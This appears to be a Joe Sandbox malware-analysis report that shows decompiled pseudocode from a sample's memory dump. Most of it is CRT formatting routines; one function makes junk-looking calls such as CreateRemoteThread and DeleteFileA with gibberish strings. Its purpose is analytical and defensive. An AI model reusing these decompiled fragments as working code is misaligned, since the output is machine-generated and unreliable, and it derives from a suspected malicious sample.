																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00430A00( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E00430A80( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t571 = 0;
									if(0 == 0) {
										 *(_t596 - 0x4dc) = 0;
									} else {
										 *(_t596 - 0x4dc) = 1;
									}
									 *(_t596 - 0x46c) =  *(_t596 - 0x4dc);
									if( *(_t596 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t502 = L0041E520();
										_t599 = _t599 + 0x14;
										if(_t502 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t596 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00423010(_t543))) = 0x16;
										E00422DA0(_t534, _t543, _t594, _t595, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t596 - 0x4c8) = 0xffffffff;
										E0041AFC0(_t596 - 0x40);
										_t487 =  *(_t596 - 0x4c8);
										L225:
										return E0042BF30(_t487, _t534,  *(_t596 - 0x48) ^ _t596, _t571, _t594, _t595);
									}
								}
							}
							L215:
							if( *(_t596 - 0x45c) == 0) {
								L218:
								 *(_t596 - 0x4f8) = 1;
								L219:
								_t571 =  *(_t596 - 0x4f8);
								 *(_t596 - 0x4bc) =  *(_t596 - 0x4f8);
								if( *(_t596 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t492 = L0041E520();
									_t599 = _t599 + 0x14;
									if(_t492 == 1) {
										asm("int3");
									}
								}
								if( *(_t596 - 0x4bc) != 0) {
									 *(_t596 - 0x4d4) =  *(_t596 - 0x44c);
									E0041AFC0(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00423010(_t535))) = 0x16;
									E00422DA0(_t534, _t535, _t594, _t595, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t596 - 0x4d0) = 0xffffffff;
									E0041AFC0(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t596 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t596 - 0x4f8) = 0;
							goto L219;
						}
					}
					L76:
					_t567 =  *0x440f80; // 0x404478
					 *(_t596 - 4) = _t567;
					_t484 = E0041DFC0( *(_t596 - 4));
					_t599 = _t599 + 4;
					 *(_t596 - 0x24) = _t484;
					goto L80;
				}
			}

0x0043c0b4
0x0043c0b4
0x0043c0b4
0x0043c0b4
0x0043c0b4
0x0043c0b4
0x0043c0b8
0x0043c0bd
0x0043c0c0
0x0043c0cd
0x00000000
0x00000000
0x0043c0cf
0x0043c0cf
0x0043c0d9
0x0043c0f8
0x0043c0fe
0x0043c126
0x0043c12d
0x0043c133
0x0043c136
0x0043c139
0x0043c13f
0x0043c142
0x0043c100
0x0043c100
0x0043c106
0x0043c109
0x0043c10c
0x0043c112
0x0043c115
0x0043c118
0x0043c11a
0x0043c11d
0x0043c11d
0x0043c145
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x0043c84a
0x0043c850
0x0043c85a
0x0043c874
0x0043c88e
0x0043c895
0x0043c899
0x0043c899
0x0043c876
0x0043c87b
0x0043c87f
0x0043c87f
0x0043c85c
0x0043c861
0x0043c865
0x0043c865
0x0043c85a
0x0043c8a9
0x0043c8b5
0x0043c8cb
0x0043c8d0
0x0043c8d0
0x0043c8e6
0x0043c8eb
0x0043c8f4
0x0043c8fc
0x0043c912
0x0043c917
0x0043c917
0x0043c8fc
0x0043c91e
0x0043c9d8
0x0043c9eb
0x0043c9f0
0x00000000
0x0043c924
0x0043c924
0x0043c928
0x00000000
0x00000000
0x0043c92e
0x0043c931
0x0043c93a
0x0043c940
0x0043c940
0x0043c94f
0x0043c957
0x00000000
0x00000000
0x0043c959
0x0043c95c
0x0043c981
0x0043c986
0x0043c989
0x0043c996
0x0043c9a4
0x0043c9b7
0x0043c9bc
0x0043c9cb
0x00000000
0x0043c9cb
0x0043c998
0x0043c998
0x00000000
0x0043c998
0x0043c9d6
0x0043c9f3
0x0043c9fa
0x0043ca02
0x0043ca18
0x0043ca1d
0x0043ca1d
0x0043ca02
0x0043c9fa
0x0043ca20
0x0043ca24
0x0043ca2c
0x0043ca31
0x0043ca34
0x0043ca34
0x0043ca3b
0x0043ca3b
0x0043bbbb
0x0043bbc2
0x0043bbcf
0x0043bbd4
0x00000000
0x0043bbe7
0x0043bbf1
0x0043bc18
0x0043bbff
0x0043bc10
0x0043bc10
0x0043bbf1
0x0043bc22
0x0043bc28
0x0043bc34
0x0043bc37
0x0043bc45
0x0043bc48
0x0043bc55
0x0043bcfa
0x0043bd00
0x0043bd0d
0x00000000
0x00000000
0x0043bd13
0x0043bd19
0x00000000
0x0043bd20
0x0043bd20
0x0043bd3a
0x0043bd3f
0x00000000
0x00000000
0x0043bd47
0x0043bd47
0x0043bd4e
0x0043bd51
0x0043bd54
0x0043bd57
0x0043bd5a
0x0043bd5d
0x0043bd60
0x0043bd67
0x0043bd6e
0x00000000
0x00000000
0x0043bd7a
0x0043bd7a
0x0043bd81
0x0043bd8d
0x0043bd90
0x0043bd96
0x0043bd9d
0x00000000
0x00000000
0x0043bd9f
0x0043bda5
0x0043bda5
0x0043bdac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bdf0
0x0043bdf0
0x0043bdf7
0x0043bdfa
0x0043be24
0x0043be27
0x0043be27
0x0043be31
0x0043be31
0x0043be35
0x0043bdfc
0x0043bdfc
0x0043be08
0x0043be0b
0x0043be0f
0x0043be11
0x0043be14
0x0043be14
0x0043be17
0x0043be1a
0x0043be1d
0x0043be1f
0x0043be1f
0x0043be22
0x0043be38
0x00000000
0x00000000
0x0043be3d
0x0043be3d
0x00000000
0x00000000
0x0043be49
0x0043be49
0x0043be50
0x0043be53
0x0043be73
0x0043be76
0x0043be76
0x0043be80
0x0043be80
0x0043be84
0x0043be55
0x0043be55
0x0043be61
0x0043be64
0x0043be68
0x0043be6a
0x0043be6a
0x0043be71
0x00000000
0x00000000
0x0043be8c
0x0043be8c
0x0043be93
0x0043be9f
0x0043bea2
0x0043bea8
0x0043beaf
0x0043bfc2
0x00000000
0x0043bfc2
0x0043beb5
0x0043bebb
0x0043bebb
0x0043bec2
0x00000000
0x0043bef9
0x0043bef9
0x0043befc
0x0043beff
0x0043bf02
0x0043bf29
0x0043bf29
0x0043bf2c
0x0043bf2f
0x0043bf32
0x0043bf56
0x0043bf56
0x0043bf59
0x0043bf5c
0x0043bf5f
0x0043bf98
0x0043bfa9
0x00000000
0x0043bfa9
0x0043bf61
0x0043bf61
0x0043bf64
0x0043bf67
0x0043bf6a
0x00000000
0x00000000
0x0043bf6c
0x0043bf6c
0x0043bf6f
0x0043bf72
0x0043bf75
0x00000000
0x00000000
0x0043bf77
0x0043bf77
0x0043bf7a
0x0043bf7d
0x0043bf80
0x00000000
0x00000000
0x0043bf82
0x0043bf82
0x0043bf85
0x0043bf88
0x0043bf8b
0x00000000
0x00000000
0x0043bf8d
0x0043bf8d
0x0043bf90
0x0043bf93
0x0043bf96
0x0043bf9a
0x00000000
0x0043bf9a
0x00000000
0x0043bf96
0x0043bf34
0x0043bf34
0x0043bf37
0x0043bf3b
0x0043bf3e
0x00000000
0x0043bf40
0x0043bf43
0x0043bf46
0x0043bf4c
0x0043bf51
0x00000000
0x0043bf51
0x0043bf3e
0x0043bf04
0x0043bf04
0x0043bf07
0x0043bf0b
0x0043bf0e
0x00000000
0x0043bf10
0x0043bf13
0x0043bf16
0x0043bf1c
0x0043bf21
0x00000000
0x0043bf21
0x00000000
0x0043bfab
0x0043bfab
0x0043bfae
0x0043bfb1
0x00000000
0x00000000
0x0043bec9
0x0043bec9
0x0043becc
0x0043becf
0x0043bed2
0x0043beeb
0x0043beee
0x0043beee
0x0043bef1
0x0043bed4
0x0043bed4
0x0043bed7
0x0043beda
0x0043bee0
0x0043bee6
0x0043bee6
0x00000000
0x00000000
0x0043bfb6
0x0043bfb6
0x0043bfb9
0x0043bfb9
0x0043bfbf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bfc7
0x0043bfc7
0x0043bfce
0x0043bfd4
0x0043bfda
0x0043bfdd
0x0043bfe3
0x0043bfea
0x00000000
0x0043c840
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c7f7
0x0043c7fd
0x0043c800
0x0043c803
0x0043c806
0x0043c809
0x0043c80f
0x0043c80f
0x0043c80f
0x0043c817
0x0043c81b
0x00000000
0x00000000
0x0043c81d
0x0043c81d
0x0043c820
0x0043c823
0x0043c823
0x0043c828
0x0043c82b
0x0043c82e
0x0043c831
0x0043c834
0x0043c837
0x0043c83a
0x0043c83a
0x0043c83d
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x0043bff0
0x0043bff6
0x0043bff6
0x0043bffd
0x00000000
0x0043c381
0x0043c381
0x0043c38f
0x0043c38f
0x0043c392
0x00000000
0x00000000
0x0043c004
0x0043c007
0x0043c007
0x0043c00d
0x0043c00f
0x0043c012
0x0043c012
0x0043c015
0x0043c015
0x00000000
0x00000000
0x0043c14a
0x0043c14d
0x0043c14d
0x0043c152
0x0043c154
0x0043c157
0x0043c157
0x0043c15a
0x0043c15a
0x00000000
0x00000000
0x0043c54d
0x0043c54d
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c399
0x0043c39c
0x0043c39f
0x0043c3a2
0x0043c3a8
0x0043c3ab
0x0043c3b2
0x0043c3b6
0x0043c3c1
0x0043c3c1
0x0043c3c5
0x0043c3dc
0x0043c3dc
0x0043c3e3
0x0043c3e5
0x0043c3e5
0x0043c3ec
0x0043c3ec
0x0043c3f3
0x0043c401
0x0043c404
0x0043c413
0x0043c416
0x0043c41a
0x0043c42f
0x0043c41c
0x0043c41c
0x0043c41f
0x0043c425
0x0043c42a
0x0043c42a
0x0043c41a
0x0043c439
0x0043c43c
0x0043c43f
0x0043c442
0x0043c445
0x0043c448
0x0043c44e
0x0043c454
0x0043c45c
0x0043c45d
0x0043c460
0x0043c461
0x0043c464
0x0043c465
0x0043c46c
0x0043c46d
0x0043c470
0x0043c471
0x0043c474
0x0043c475
0x0043c47b
0x0043c47c
0x0043c48b
0x0043c48d
0x0043c493
0x0043c493
0x0043c498
0x0043c49a
0x0043c49e
0x0043c4a0
0x0043c4a8
0x0043c4a9
0x0043c4ac
0x0043c4ad
0x0043c4bc
0x0043c4be
0x0043c4be
0x0043c49e
0x0043c4c1
0x0043c4c8
0x0043c4cb
0x0043c4d0
0x0043c4d0
0x0043c4d6
0x0043c4d8
0x0043c4e0
0x0043c4e1
0x0043c4e4
0x0043c4e5
0x0043c4f3
0x0043c4f5
0x0043c4f5
0x0043c4d6
0x0043c4f8
0x0043c4fb
0x0043c4fe
0x0043c501
0x0043c506
0x0043c50b
0x0043c50e
0x0043c511
0x0043c511
0x0043c514
0x0043c514
0x0043c517
0x0043c523
0x00000000
0x0043c523
0x0043c3c7
0x0043c3c7
0x0043c3ce
0x0043c3d1
0x00000000
0x00000000
0x0043c3d3
0x0043c3d3
0x00000000
0x0043c3d3
0x0043c3b8
0x0043c3b8
0x00000000
0x00000000
0x0043c018
0x0043c018
0x0043c023
0x0043c02b
0x0043c032
0x0043c035
0x0043c035
0x0043c038
0x0043c098
0x0043c03a
0x0043c041
0x0043c047
0x0043c04d
0x0043c054
0x0043c057
0x0043c05d
0x0043c065
0x0043c067
0x0043c06e
0x0043c075
0x0043c07c
0x0043c084
0x0043c086
0x0043c088
0x0043c088
0x0043c08f
0x0043c09f
0x0043c0a5
0x0043c0a8
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x00000000
0x0043c52b
0x0043c52e
0x0043c531
0x0043c534
0x00000000
0x00000000
0x0043c28a
0x0043c28a
0x0043c296
0x0043c29c
0x0043c2a1
0x0043c2a3
0x0043c34d
0x0043c34d
0x0043c350
0x0043c350
0x0043c353
0x0043c367
0x0043c36d
0x0043c373
0x0043c355
0x0043c355
0x0043c35b
0x0043c362
0x0043c362
0x0043c375
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x0043c2a9
0x0043c2a9
0x0043c2a9
0x0043c2ab
0x0043c2b9
0x0043c2ad
0x0043c2ad
0x0043c2ad
0x0043c2c3
0x0043c2c9
0x0043c2cf
0x0043c2d6
0x0043c2d8
0x0043c2dd
0x0043c2df
0x0043c2e4
0x0043c2e9
0x0043c2eb
0x0043c2f0
0x0043c2f3
0x0043c2f6
0x0043c2f8
0x0043c2f8
0x0043c2f6
0x0043c2f9
0x0043c300
0x0043c348
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c302
0x0043c302
0x0043c307
0x0043c323
0x0043c32b
0x0043c335
0x0043c338
0x0043c33d
0x00000000
0x0043c33d
0x00000000
0x0043c594
0x0043c594
0x0043c59e
0x0043c59e
0x0043c5a4
0x0043c5a6
0x0043c5a9
0x0043c5a9
0x0043c5af
0x0043c5af
0x00000000
0x00000000
0x0043c546
0x0043c546
0x00000000
0x00000000
0x0043c15d
0x0043c15d
0x0043c161
0x0043c16f
0x0043c172
0x0043c163
0x0043c163
0x0043c163
0x0043c178
0x0043c17e
0x0043c184
0x0043c190
0x0043c196
0x0043c196
0x0043c199
0x0043c221
0x0043c221
0x0043c225
0x0043c227
0x0043c22d
0x0043c22d
0x0043c230
0x0043c237
0x0043c23a
0x0043c240
0x0043c240
0x0043c240
0x0043c246
0x0043c24c
0x0043c24f
0x0043c255
0x0043c257
0x00000000
0x00000000
0x0043c259
0x0043c259
0x0043c25f
0x0043c262
0x0043c264
0x00000000
0x00000000
0x0043c266
0x0043c26c
0x0043c26f
0x0043c26f
0x0043c277
0x0043c277
0x0043c27d
0x0043c27d
0x0043c282
0x00000000
0x0043c19f
0x0043c19f
0x0043c19f
0x0043c1a3
0x0043c1a5
0x0043c1aa
0x0043c1aa
0x0043c1ad
0x0043c1b0
0x0043c1b6
0x0043c1c8
0x0043c1c8
0x0043c1c8
0x0043c1cb
0x0043c1d1
0x00000000
0x00000000
0x0043c1d3
0x0043c1d3
0x0043c1d9
0x0043c1dc
0x0043c1de
0x00000000
0x00000000
0x0043c1e0
0x0043c1e0
0x0043c1e9
0x0043c1ef
0x0043c1f3
0x0043c1fb
0x0043c1fd
0x0043c1ff
0x0043c205
0x0043c205
0x0043c208
0x0043c208
0x0043c214
0x0043c217
0x0043c1bf
0x0043c1c2
0x0043c1c2
0x0043c1c5
0x0043c1c5
0x0043c21f
0x0043c285
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x00000000
0x0043c53d
0x0043c53d
0x00000000
0x00000000
0x0043c559
0x0043c559
0x0043c563
0x0043c563
0x0043c56d
0x0043c56d
0x0043c573
0x0043c575
0x0043c57a
0x0043c584
0x0043c584
0x0043c587
0x0043c58b
0x0043c58b
0x0043c5b2
0x0043c5b5
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c66e
0x0043c672
0x0043c67a
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c653
0x0043c657
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c62d
0x0043c639
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c611
0x0043c615
0x0043c61d
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e4
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5bc
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68b
0x0043c68e
0x0043c6d0
0x0043c6d0
0x0043c6d6
0x0043c6dc
0x0043c6e2
0x00000000
0x0043c690
0x0043c690
0x0043c690
0x0043c697
0x00000000
0x00000000
0x0043c699
0x0043c699
0x0043c6a4
0x0043c6aa
0x0043c6ac
0x0043c6b2
0x0043c6b5
0x0043c6b7
0x0043c6bd
0x0043c6c6
0x0043c6cb
0x0043c6e8
0x0043c6eb
0x0043c6eb
0x0043c6f0
0x0043c6f5
0x0043c6f5
0x0043c6fb
0x0043c6fd
0x0043c703
0x0043c709
0x0043c709
0x0043c712
0x0043c712
0x0043c6fb
0x0043c718
0x0043c71c
0x0043c72a
0x0043c72d
0x0043c730
0x0043c737
0x0043c739
0x0043c739
0x0043c71e
0x0043c71e
0x0043c71e
0x0043c746
0x0043c746
0x0043c74c
0x0043c74e
0x0043c74e
0x0043c755
0x0043c75b
0x0043c75e
0x0043c75e
0x0043c75e
0x0043c764
0x0043c767
0x0043c76a
0x0043c76c
0x00000000
0x00000000
0x0043c76e
0x0043c774
0x0043c774
0x0043c77a
0x00000000
0x00000000
0x0043c77c
0x0043c77c
0x0043c77f
0x0043c782
0x0043c789
0x0043c790
0x0043c798
0x0043c79e
0x0043c7a1
0x0043c7a4
0x0043c7ab
0x0043c7b7
0x0043c7bd
0x0043c7c3
0x0043c7ca
0x0043c7cc
0x0043c7d2
0x0043c7d2
0x0043c7d8
0x0043c7d8
0x0043c7de
0x0043c7e7
0x0043c7ec
0x0043c7ef
0x0043c75e
0x0043c75e
0x0043c764
0x0043c767
0x0043c76a
0x0043c76c
0x00000000
0x00000000
0x00000000
0x0043c76c
0x0043c75e
0x0043c69b
0x0043c69b
0x0043c6a2
0x00000000
0x00000000
0x00000000
0x0043c6a2
0x00000000
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdcf
0x00000000
0x00000000
0x0043bdd4
0x0043bdd7
0x0043bddd
0x00000000
0x00000000
0x0043bdbe
0x0043bdc1
0x0043bdc4
0x00000000
0x00000000
0x0043bdb3
0x0043bdb6
0x0043bdb9
0x00000000
0x00000000
0x0043bde2
0x0043bde2
0x0043bde5
0x0043bde5
0x0043bde8
0x00000000
0x00000000
0x0043bdeb
0x00000000
0x00000000
0x0043bc5b
0x0043bc5b
0x0043bc5d
0x0043bc6b
0x0043bc5f
0x0043bc5f
0x0043bc5f
0x0043bc7b
0x0043bc88
0x0043bc8a
0x0043bc8f
0x0043bc91
0x0043bc96
0x0043bc9b
0x0043bc9d
0x0043bca2
0x0043bca8
0x0043bcaa
0x0043bcaa
0x0043bca8
0x0043bcab
0x0043bcb2
0x00000000
0x0043bcb4
0x0043bcb9
0x0043bcd5
0x0043bcdd
0x0043bcea
0x0043bcef
0x0043cb04
0x0043cb11
0x0043cb11
0x0043bcb2
0x0043bc55
0x0043ca40
0x0043ca47
0x0043ca5e
0x0043ca5e
0x0043ca68
0x0043ca68
0x0043ca6e
0x0043ca7b
0x0043ca7d
0x0043ca82
0x0043ca84
0x0043ca89
0x0043ca8e
0x0043ca90
0x0043ca95
0x0043ca9b
0x0043ca9d
0x0043ca9d
0x0043ca9b
0x0043caa5
0x0043caf0
0x0043caf9
0x0043cafe
0x0043caa7
0x0043caac
0x0043cac8
0x0043cad0
0x0043cadd
0x0043cae2
0x0043cae2
0x00000000
0x0043caa5
0x0043ca49
0x0043ca50
0x00000000
0x00000000
0x0043ca52
0x0043ca52
0x00000000
0x0043ca52
0x0043c840
0x0043c0db
0x0043c0db
0x0043c0e1
0x0043c0e8
0x0043c0ed
0x0043c0f0
0x00000000
0x0043c0f0

APIs

_get_int_arg.LIBCMTD ref: 0043C0B8
_strlen.LIBCMT ref: 0043C0E8
_write_multi_char.LIBCMTD ref: 0043C8CB
_write_string.LIBCMTD ref: 0043C8E6
_write_multi_char.LIBCMTD ref: 0043C912
__mbtowc_l.LIBCMTD ref: 0043C981

Strings

xD@, xrefs: 0043C0DB
("Incorrect format specifier", 0), xrefs: 0043BC8A, 0043BCD0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BC96, 0043BCC6
_woutput_s_l, xrefs: 0043BCCB

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$xD@
API String ID: 909868375-2094193020
Opcode ID: d901dbd353d40ced51f185b143650126a3e02c4e36033b987580baf0ed698711
Instruction ID: 36ea8032924180ef978c847c4169915e7901256acdd7dda9eb98fc12d34c1f1c
Opcode Fuzzy Hash: d901dbd353d40ced51f185b143650126a3e02c4e36033b987580baf0ed698711
Instruction Fuzzy Hash: C0A14CB1D002289BDB24DF55CC85BAEB3B5FB48305F14919AE6097B282D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00419FE7, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 39
filetimethreadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00419FE7(void* __eax, void* __edx) {
				void* _t19;

				asm("adc [eax], eax");
				 *((intOrPtr*)(_t19 + 0x73)) =  *((intOrPtr*)(_t19 + 0x73)) + __edx;
				SetSystemTimeAdjustment(0, 0);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__CreateActCtxW(_t19 - 0x1a50);
				DeleteFileA("Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo");
				__imp__GetCalendarInfoA(0, 0, 0, "vihebihasucuxegod", 0, 0);
				InterlockedDecrement(_t19 - 0x1a30);
				GetCommandLineW();
				TlsGetValue(0);
				TryEnterCriticalSection(_t19 - 0x1a2c);
				return 0;
			}

0x00419fed
0x00419fef
0x00419ff6
0x0041a00a
0x0041a017
0x0041a022
0x0041a037
0x0041a044
0x0041a04a
0x0041a052
0x0041a05f
0x0041a068

APIs

SetSystemTimeAdjustment.KERNEL32 ref: 00419FF6
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041A00A
CreateActCtxW.KERNEL32(?), ref: 0041A017
DeleteFileA.KERNEL32(Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo), ref: 0041A022
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,vihebihasucuxegod,00000000,00000000), ref: 0041A037
InterlockedDecrement.KERNEL32(?), ref: 0041A044
GetCommandLineW.KERNEL32 ref: 0041A04A
TlsGetValue.KERNEL32(00000000), ref: 0041A052
TryEnterCriticalSection.KERNEL32(?), ref: 0041A05F

Strings

Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo, xrefs: 0041A01D
vihebihasucuxegod, xrefs: 0041A02C

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Create$AdjustmentCalendarCommandCriticalDecrementDeleteEnterFileInfoInterlockedLineRemoteSectionSystemThreadTimeValue
String ID: Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo$vihebihasucuxegod
API String ID: 2597053956-1231097603
Opcode ID: 8839ad009195bbc93214b263db8c4820ca792e2078c0b3e5f11eb941e39c52a2
Instruction ID: d3d2b90cdfaffab0682bae0f73594cac1585b3fdef62fff54ddfb64f0b4e19e7
Opcode Fuzzy Hash: 8839ad009195bbc93214b263db8c4820ca792e2078c0b3e5f11eb941e39c52a2
Instruction Fuzzy Hash: 18F01D31684285ABEB505BB0AE0EF893BA4BB05702F140061F38AF58F0C6B495848F2A

Uniqueness

Uniqueness Score: -1.00%

Function 0041CFDE, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041D05B
_CheckBytes.LIBCMTD ref: 0041D0F9
_CheckBytes.LIBCMTD ref: 0041D1A2

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041D090
